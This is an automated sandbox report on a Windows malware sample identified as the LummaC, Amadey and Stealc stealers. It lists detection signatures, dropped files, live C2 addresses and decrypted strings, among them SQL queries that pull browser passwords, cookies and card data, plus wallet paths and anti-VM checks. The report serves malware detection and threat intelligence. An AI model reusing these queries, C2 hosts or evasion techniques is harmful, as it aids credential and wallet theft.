Windows Analysis Report
file.exe

Overview

General Information

Sample name: file.exe
Analysis ID: 1545324
MD5: c9026d15b750cd2d99e938c9a16c0fea
SHA1: ac28095ed9fd5546cb2b71e54a6cbaa8ba5fd129
SHA256: e1a0807d2313553a9e5c3997162f9228d9d88bb171bf90c653b15d5195fef36e
Tags: exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Detected unpacking (changes PE section rights)
Found malware configuration
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Amadeys stealer DLL
Yara detected Credential Flusher
Yara detected LummaC Stealer
Yara detected Powershell download and execute
Yara detected Stealc
AI detected suspicious sample
Binary is likely a compiled AutoIt script file
C2 URLs / IPs found in malware configuration
Creates multiple autostart registry keys
Disable Windows Defender notifications (registry)
Disable Windows Defender real time protection (registry)
Disables Windows Defender Tamper protection
Found many strings related to Crypto-Wallets (likely being stolen)
Hides threads from debuggers
LummaC encrypted strings found
Machine Learning detection for dropped file
Machine Learning detection for sample
Modifies windows update settings
PE file contains section with special chars
PE file has a writeable .text section
Potentially malicious time measurement code found
Query firmware table information (likely to detect VMs)
Sample uses string decryption to hide its real strings
Sigma detected: New RUN Key Pointing to Suspicious Folder
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks for debuggers (devices)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Connects to many different domains
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates job files (autostart)
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Searches for user specific document files
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Sigma detected: CurrentVersion Autorun Keys Modification
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Uses taskkill to terminate processes
Yara detected Credential Stealer

Classification

Name Description Attribution Blogpost URLs Link
Lumma Stealer, LummaC2 Stealer Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma
Name Description Attribution Blogpost URLs Link
Amadey Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey
Name Description Attribution Blogpost URLs Link
Stealc Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: file.exe Avira: detected
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Found malware configuration
Source: 00000006.00000003.2099183730.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 26.2.num.exe.d10000.0.unpack Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 7f3598dc65.exe.764.16.memstrmin Malware Configuration Extractor: LummaC {"C2 url": ["founpiuer.store", "navygenerayk.store", "fadehairucw.store", "necklacedmny.store", "thumbystriw.store", "presticitpo.store", "crisiwarny.store", "scriptyprefej.store"], "Build id": "4SD0y4--legendaryy"}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe ReversingLabs: Detection: 37%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe ReversingLabs: Detection: 48%
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe ReversingLabs: Detection: 37%
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe ReversingLabs: Detection: 48%
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe ReversingLabs: Detection: 35%
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe ReversingLabs: Detection: 35%
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe ReversingLabs: Detection: 35%
Multi AV Scanner detection for submitted file
Source: file.exe ReversingLabs: Detection: 37%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 99.9% probability
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: file.exe Joe Sandbox ML: detected
Sample uses string decryption to hide its real strings
Source: 26.2.num.exe.d10000.0.unpack String decryptor: INSERT_KEY_HERE
Source: 26.2.num.exe.d10000.0.unpack String decryptor: 30
Source: 26.2.num.exe.d10000.0.unpack String decryptor: 11
Source: 26.2.num.exe.d10000.0.unpack String decryptor: 20
Source: 26.2.num.exe.d10000.0.unpack String decryptor: 24
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GetProcAddress
Source: 26.2.num.exe.d10000.0.unpack String decryptor: LoadLibraryA
Source: 26.2.num.exe.d10000.0.unpack String decryptor: lstrcatA
Source: 26.2.num.exe.d10000.0.unpack String decryptor: OpenEventA
Source: 26.2.num.exe.d10000.0.unpack String decryptor: CreateEventA
Source: 26.2.num.exe.d10000.0.unpack String decryptor: CloseHandle
Source: 26.2.num.exe.d10000.0.unpack String decryptor: Sleep
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GetUserDefaultLangID
Source: 26.2.num.exe.d10000.0.unpack String decryptor: VirtualAllocExNuma
Source: 26.2.num.exe.d10000.0.unpack String decryptor: VirtualFree
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GetSystemInfo
Source: 26.2.num.exe.d10000.0.unpack String decryptor: VirtualAlloc
Source: 26.2.num.exe.d10000.0.unpack String decryptor: HeapAlloc
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GetComputerNameA
Source: 26.2.num.exe.d10000.0.unpack String decryptor: lstrcpyA
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GetProcessHeap
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GetCurrentProcess
Source: 26.2.num.exe.d10000.0.unpack String decryptor: lstrlenA
Source: 26.2.num.exe.d10000.0.unpack String decryptor: ExitProcess
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GlobalMemoryStatusEx
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GetSystemTime
Source: 26.2.num.exe.d10000.0.unpack String decryptor: SystemTimeToFileTime
Source: 26.2.num.exe.d10000.0.unpack String decryptor: advapi32.dll
Source: 26.2.num.exe.d10000.0.unpack String decryptor: gdi32.dll
Source: 26.2.num.exe.d10000.0.unpack String decryptor: user32.dll
Source: 26.2.num.exe.d10000.0.unpack String decryptor: crypt32.dll
Source: 26.2.num.exe.d10000.0.unpack String decryptor: ntdll.dll
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GetUserNameA
Source: 26.2.num.exe.d10000.0.unpack String decryptor: CreateDCA
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GetDeviceCaps
Source: 26.2.num.exe.d10000.0.unpack String decryptor: ReleaseDC
Source: 26.2.num.exe.d10000.0.unpack String decryptor: CryptStringToBinaryA
Source: 26.2.num.exe.d10000.0.unpack String decryptor: sscanf
Source: 26.2.num.exe.d10000.0.unpack String decryptor: VMwareVMware
Source: 26.2.num.exe.d10000.0.unpack String decryptor: HAL9TH
Source: 26.2.num.exe.d10000.0.unpack String decryptor: JohnDoe
Source: 26.2.num.exe.d10000.0.unpack String decryptor: DISPLAY
Source: 26.2.num.exe.d10000.0.unpack String decryptor: %hu/%hu/%hu
Source: 26.2.num.exe.d10000.0.unpack String decryptor: http://185.215.113.206
Source: 26.2.num.exe.d10000.0.unpack String decryptor: bksvnsj
Source: 26.2.num.exe.d10000.0.unpack String decryptor: /6c4adf523b719729.php
Source: 26.2.num.exe.d10000.0.unpack String decryptor: /746f34465cf17784/
Source: 26.2.num.exe.d10000.0.unpack String decryptor: tale
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GetEnvironmentVariableA
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GetFileAttributesA
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GlobalLock
Source: 26.2.num.exe.d10000.0.unpack String decryptor: HeapFree
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GetFileSize
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GlobalSize
Source: 26.2.num.exe.d10000.0.unpack String decryptor: CreateToolhelp32Snapshot
Source: 26.2.num.exe.d10000.0.unpack String decryptor: IsWow64Process
Source: 26.2.num.exe.d10000.0.unpack String decryptor: Process32Next
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GetLocalTime
Source: 26.2.num.exe.d10000.0.unpack String decryptor: FreeLibrary
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GetTimeZoneInformation
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GetSystemPowerStatus
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GetVolumeInformationA
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GetWindowsDirectoryA
Source: 26.2.num.exe.d10000.0.unpack String decryptor: Process32First
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GetLocaleInfoA
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GetUserDefaultLocaleName
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GetModuleFileNameA
Source: 26.2.num.exe.d10000.0.unpack String decryptor: DeleteFileA
Source: 26.2.num.exe.d10000.0.unpack String decryptor: FindNextFileA
Source: 26.2.num.exe.d10000.0.unpack String decryptor: LocalFree
Source: 26.2.num.exe.d10000.0.unpack String decryptor: FindClose
Source: 26.2.num.exe.d10000.0.unpack String decryptor: SetEnvironmentVariableA
Source: 26.2.num.exe.d10000.0.unpack String decryptor: LocalAlloc
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GetFileSizeEx
Source: 26.2.num.exe.d10000.0.unpack String decryptor: ReadFile
Source: 26.2.num.exe.d10000.0.unpack String decryptor: SetFilePointer
Source: 26.2.num.exe.d10000.0.unpack String decryptor: WriteFile
Source: 26.2.num.exe.d10000.0.unpack String decryptor: CreateFileA
Source: 26.2.num.exe.d10000.0.unpack String decryptor: FindFirstFileA
Source: 26.2.num.exe.d10000.0.unpack String decryptor: CopyFileA
Source: 26.2.num.exe.d10000.0.unpack String decryptor: VirtualProtect
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GetLogicalProcessorInformationEx
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GetLastError
Source: 26.2.num.exe.d10000.0.unpack String decryptor: lstrcpynA
Source: 26.2.num.exe.d10000.0.unpack String decryptor: MultiByteToWideChar
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GlobalFree
Source: 26.2.num.exe.d10000.0.unpack String decryptor: WideCharToMultiByte
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GlobalAlloc
Source: 26.2.num.exe.d10000.0.unpack String decryptor: OpenProcess
Source: 26.2.num.exe.d10000.0.unpack String decryptor: TerminateProcess
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GetCurrentProcessId
Source: 26.2.num.exe.d10000.0.unpack String decryptor: gdiplus.dll
Source: 26.2.num.exe.d10000.0.unpack String decryptor: ole32.dll
Source: 26.2.num.exe.d10000.0.unpack String decryptor: bcrypt.dll
Source: 26.2.num.exe.d10000.0.unpack String decryptor: wininet.dll
Source: 26.2.num.exe.d10000.0.unpack String decryptor: shlwapi.dll
Source: 26.2.num.exe.d10000.0.unpack String decryptor: shell32.dll
Source: 26.2.num.exe.d10000.0.unpack String decryptor: psapi.dll
Source: 26.2.num.exe.d10000.0.unpack String decryptor: rstrtmgr.dll
Source: 26.2.num.exe.d10000.0.unpack String decryptor: CreateCompatibleBitmap
Source: 26.2.num.exe.d10000.0.unpack String decryptor: SelectObject
Source: 26.2.num.exe.d10000.0.unpack String decryptor: BitBlt
Source: 26.2.num.exe.d10000.0.unpack String decryptor: DeleteObject
Source: 26.2.num.exe.d10000.0.unpack String decryptor: CreateCompatibleDC
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GdipGetImageEncodersSize
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GdipGetImageEncoders
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GdipCreateBitmapFromHBITMAP
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GdiplusStartup
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GdiplusShutdown
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GdipSaveImageToStream
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GdipDisposeImage
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GdipFree
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GetHGlobalFromStream
Source: 26.2.num.exe.d10000.0.unpack String decryptor: CreateStreamOnHGlobal
Source: 26.2.num.exe.d10000.0.unpack String decryptor: CoUninitialize
Source: 26.2.num.exe.d10000.0.unpack String decryptor: CoInitialize
Source: 26.2.num.exe.d10000.0.unpack String decryptor: CoCreateInstance
Source: 26.2.num.exe.d10000.0.unpack String decryptor: BCryptGenerateSymmetricKey
Source: 26.2.num.exe.d10000.0.unpack String decryptor: BCryptCloseAlgorithmProvider
Source: 26.2.num.exe.d10000.0.unpack String decryptor: BCryptDecrypt
Source: 26.2.num.exe.d10000.0.unpack String decryptor: BCryptSetProperty
Source: 26.2.num.exe.d10000.0.unpack String decryptor: BCryptDestroyKey
Source: 26.2.num.exe.d10000.0.unpack String decryptor: BCryptOpenAlgorithmProvider
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GetWindowRect
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GetDesktopWindow
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GetDC
Source: 26.2.num.exe.d10000.0.unpack String decryptor: CloseWindow
Source: 26.2.num.exe.d10000.0.unpack String decryptor: wsprintfA
Source: 26.2.num.exe.d10000.0.unpack String decryptor: EnumDisplayDevicesA
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GetKeyboardLayoutList
Source: 26.2.num.exe.d10000.0.unpack String decryptor: CharToOemW
Source: 26.2.num.exe.d10000.0.unpack String decryptor: wsprintfW
Source: 26.2.num.exe.d10000.0.unpack String decryptor: RegQueryValueExA
Source: 26.2.num.exe.d10000.0.unpack String decryptor: RegEnumKeyExA
Source: 26.2.num.exe.d10000.0.unpack String decryptor: RegOpenKeyExA
Source: 26.2.num.exe.d10000.0.unpack String decryptor: RegCloseKey
Source: 26.2.num.exe.d10000.0.unpack String decryptor: RegEnumValueA
Source: 26.2.num.exe.d10000.0.unpack String decryptor: CryptBinaryToStringA
Source: 26.2.num.exe.d10000.0.unpack String decryptor: CryptUnprotectData
Source: 26.2.num.exe.d10000.0.unpack String decryptor: SHGetFolderPathA
Source: 26.2.num.exe.d10000.0.unpack String decryptor: ShellExecuteExA
Source: 26.2.num.exe.d10000.0.unpack String decryptor: InternetOpenUrlA
Source: 26.2.num.exe.d10000.0.unpack String decryptor: InternetConnectA
Source: 26.2.num.exe.d10000.0.unpack String decryptor: InternetCloseHandle
Source: 26.2.num.exe.d10000.0.unpack String decryptor: InternetOpenA
Source: 26.2.num.exe.d10000.0.unpack String decryptor: HttpSendRequestA
Source: 26.2.num.exe.d10000.0.unpack String decryptor: HttpOpenRequestA
Source: 26.2.num.exe.d10000.0.unpack String decryptor: InternetReadFile
Source: 26.2.num.exe.d10000.0.unpack String decryptor: InternetCrackUrlA
Source: 26.2.num.exe.d10000.0.unpack String decryptor: StrCmpCA
Source: 26.2.num.exe.d10000.0.unpack String decryptor: StrStrA
Source: 26.2.num.exe.d10000.0.unpack String decryptor: StrCmpCW
Source: 26.2.num.exe.d10000.0.unpack String decryptor: PathMatchSpecA
Source: 26.2.num.exe.d10000.0.unpack String decryptor: GetModuleFileNameExA
Source: 26.2.num.exe.d10000.0.unpack String decryptor: RmStartSession
Source: 26.2.num.exe.d10000.0.unpack String decryptor: RmRegisterResources
Source: 26.2.num.exe.d10000.0.unpack String decryptor: RmGetList
Source: 26.2.num.exe.d10000.0.unpack String decryptor: RmEndSession
Source: 26.2.num.exe.d10000.0.unpack String decryptor: sqlite3_open
Source: 26.2.num.exe.d10000.0.unpack String decryptor: sqlite3_prepare_v2
Source: 26.2.num.exe.d10000.0.unpack String decryptor: sqlite3_step
Source: 26.2.num.exe.d10000.0.unpack String decryptor: sqlite3_column_text
Source: 26.2.num.exe.d10000.0.unpack String decryptor: sqlite3_finalize
Source: 26.2.num.exe.d10000.0.unpack String decryptor: sqlite3_close
Source: 26.2.num.exe.d10000.0.unpack String decryptor: sqlite3_column_bytes
Source: 26.2.num.exe.d10000.0.unpack String decryptor: sqlite3_column_blob
Source: 26.2.num.exe.d10000.0.unpack String decryptor: encrypted_key
Source: 26.2.num.exe.d10000.0.unpack String decryptor: PATH
Source: 26.2.num.exe.d10000.0.unpack String decryptor: C:\ProgramData\nss3.dll
Source: 26.2.num.exe.d10000.0.unpack String decryptor: NSS_Init
Source: 26.2.num.exe.d10000.0.unpack String decryptor: NSS_Shutdown
Source: 26.2.num.exe.d10000.0.unpack String decryptor: PK11_GetInternalKeySlot
Source: 26.2.num.exe.d10000.0.unpack String decryptor: PK11_FreeSlot
Source: 26.2.num.exe.d10000.0.unpack String decryptor: PK11_Authenticate
Source: 26.2.num.exe.d10000.0.unpack String decryptor: PK11SDR_Decrypt
Source: 26.2.num.exe.d10000.0.unpack String decryptor: C:\ProgramData\
Source: 26.2.num.exe.d10000.0.unpack String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 26.2.num.exe.d10000.0.unpack String decryptor: browser:
Source: 26.2.num.exe.d10000.0.unpack String decryptor: profile:
Source: 26.2.num.exe.d10000.0.unpack String decryptor: url:
Source: 26.2.num.exe.d10000.0.unpack String decryptor: login:
Source: 26.2.num.exe.d10000.0.unpack String decryptor: password:
Source: 26.2.num.exe.d10000.0.unpack String decryptor: Opera
Source: 26.2.num.exe.d10000.0.unpack String decryptor: OperaGX
Source: 26.2.num.exe.d10000.0.unpack String decryptor: Network
Source: 26.2.num.exe.d10000.0.unpack String decryptor: cookies
Source: 26.2.num.exe.d10000.0.unpack String decryptor: .txt
Source: 26.2.num.exe.d10000.0.unpack String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 26.2.num.exe.d10000.0.unpack String decryptor: TRUE
Source: 26.2.num.exe.d10000.0.unpack String decryptor: FALSE
Source: 26.2.num.exe.d10000.0.unpack String decryptor: autofill
Source: 26.2.num.exe.d10000.0.unpack String decryptor: SELECT name, value FROM autofill
Source: 26.2.num.exe.d10000.0.unpack String decryptor: history
Source: 26.2.num.exe.d10000.0.unpack String decryptor: SELECT url FROM urls LIMIT 1000
Source: 26.2.num.exe.d10000.0.unpack String decryptor: cc
Source: 26.2.num.exe.d10000.0.unpack String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 26.2.num.exe.d10000.0.unpack String decryptor: name:
Source: 26.2.num.exe.d10000.0.unpack String decryptor: month:
Source: 26.2.num.exe.d10000.0.unpack String decryptor: year:
Source: 26.2.num.exe.d10000.0.unpack String decryptor: card:
Source: 26.2.num.exe.d10000.0.unpack String decryptor: Cookies
Source: 26.2.num.exe.d10000.0.unpack String decryptor: Login Data
Source: 26.2.num.exe.d10000.0.unpack String decryptor: Web Data
Source: 26.2.num.exe.d10000.0.unpack String decryptor: History
Source: 26.2.num.exe.d10000.0.unpack String decryptor: logins.json
Source: 26.2.num.exe.d10000.0.unpack String decryptor: formSubmitURL
Source: 26.2.num.exe.d10000.0.unpack String decryptor: usernameField
Source: 26.2.num.exe.d10000.0.unpack String decryptor: encryptedUsername
Source: 26.2.num.exe.d10000.0.unpack String decryptor: encryptedPassword
Source: 26.2.num.exe.d10000.0.unpack String decryptor: guid
Source: 26.2.num.exe.d10000.0.unpack String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 26.2.num.exe.d10000.0.unpack String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 26.2.num.exe.d10000.0.unpack String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 26.2.num.exe.d10000.0.unpack String decryptor: cookies.sqlite
Source: 26.2.num.exe.d10000.0.unpack String decryptor: formhistory.sqlite
Source: 26.2.num.exe.d10000.0.unpack String decryptor: places.sqlite
Source: 26.2.num.exe.d10000.0.unpack String decryptor: plugins
Source: 26.2.num.exe.d10000.0.unpack String decryptor: Local Extension Settings
Source: 26.2.num.exe.d10000.0.unpack String decryptor: Sync Extension Settings
Source: 26.2.num.exe.d10000.0.unpack String decryptor: IndexedDB
Source: 26.2.num.exe.d10000.0.unpack String decryptor: Opera Stable
Source: 26.2.num.exe.d10000.0.unpack String decryptor: Opera GX Stable
Source: 26.2.num.exe.d10000.0.unpack String decryptor: CURRENT
Source: 26.2.num.exe.d10000.0.unpack String decryptor: chrome-extension_
Source: 26.2.num.exe.d10000.0.unpack String decryptor: _0.indexeddb.leveldb
Source: 26.2.num.exe.d10000.0.unpack String decryptor: Local State
Source: 26.2.num.exe.d10000.0.unpack String decryptor: profiles.ini
Source: 26.2.num.exe.d10000.0.unpack String decryptor: chrome
Source: 26.2.num.exe.d10000.0.unpack String decryptor: opera
Source: 26.2.num.exe.d10000.0.unpack String decryptor: firefox
Source: 26.2.num.exe.d10000.0.unpack String decryptor: wallets
Source: 26.2.num.exe.d10000.0.unpack String decryptor: %08lX%04lX%lu
Source: 26.2.num.exe.d10000.0.unpack String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 26.2.num.exe.d10000.0.unpack String decryptor: ProductName
Source: 26.2.num.exe.d10000.0.unpack String decryptor: x32
Source: 26.2.num.exe.d10000.0.unpack String decryptor: x64
Source: 26.2.num.exe.d10000.0.unpack String decryptor: %d/%d/%d %d:%d:%d
Source: 26.2.num.exe.d10000.0.unpack String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 26.2.num.exe.d10000.0.unpack String decryptor: ProcessorNameString
Source: 26.2.num.exe.d10000.0.unpack String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 26.2.num.exe.d10000.0.unpack String decryptor: DisplayName
Source: 26.2.num.exe.d10000.0.unpack String decryptor: DisplayVersion
Source: 26.2.num.exe.d10000.0.unpack String decryptor: Network Info:
Source: 26.2.num.exe.d10000.0.unpack String decryptor: - IP: IP?
Source: 26.2.num.exe.d10000.0.unpack String decryptor: - Country: ISO?
Source: 26.2.num.exe.d10000.0.unpack String decryptor: System Summary:
Source: 26.2.num.exe.d10000.0.unpack String decryptor: - HWID:
Source: 26.2.num.exe.d10000.0.unpack String decryptor: - OS:
Source: 26.2.num.exe.d10000.0.unpack String decryptor: - Architecture:
Source: 26.2.num.exe.d10000.0.unpack String decryptor: - UserName:
Source: 26.2.num.exe.d10000.0.unpack String decryptor: - Computer Name:
Source: 26.2.num.exe.d10000.0.unpack String decryptor: - Local Time:
Source: 26.2.num.exe.d10000.0.unpack String decryptor: - UTC:
Source: 26.2.num.exe.d10000.0.unpack String decryptor: - Language:
Source: 26.2.num.exe.d10000.0.unpack String decryptor: - Keyboards:
Source: 26.2.num.exe.d10000.0.unpack String decryptor: - Laptop:
Source: 26.2.num.exe.d10000.0.unpack String decryptor: - Running Path:
Source: 26.2.num.exe.d10000.0.unpack String decryptor: - CPU:
Source: 26.2.num.exe.d10000.0.unpack String decryptor: - Threads:
Source: 26.2.num.exe.d10000.0.unpack String decryptor: - Cores:
Source: 26.2.num.exe.d10000.0.unpack String decryptor: - RAM:
Source: 26.2.num.exe.d10000.0.unpack String decryptor: - Display Resolution:
Source: 26.2.num.exe.d10000.0.unpack String decryptor: - GPU:
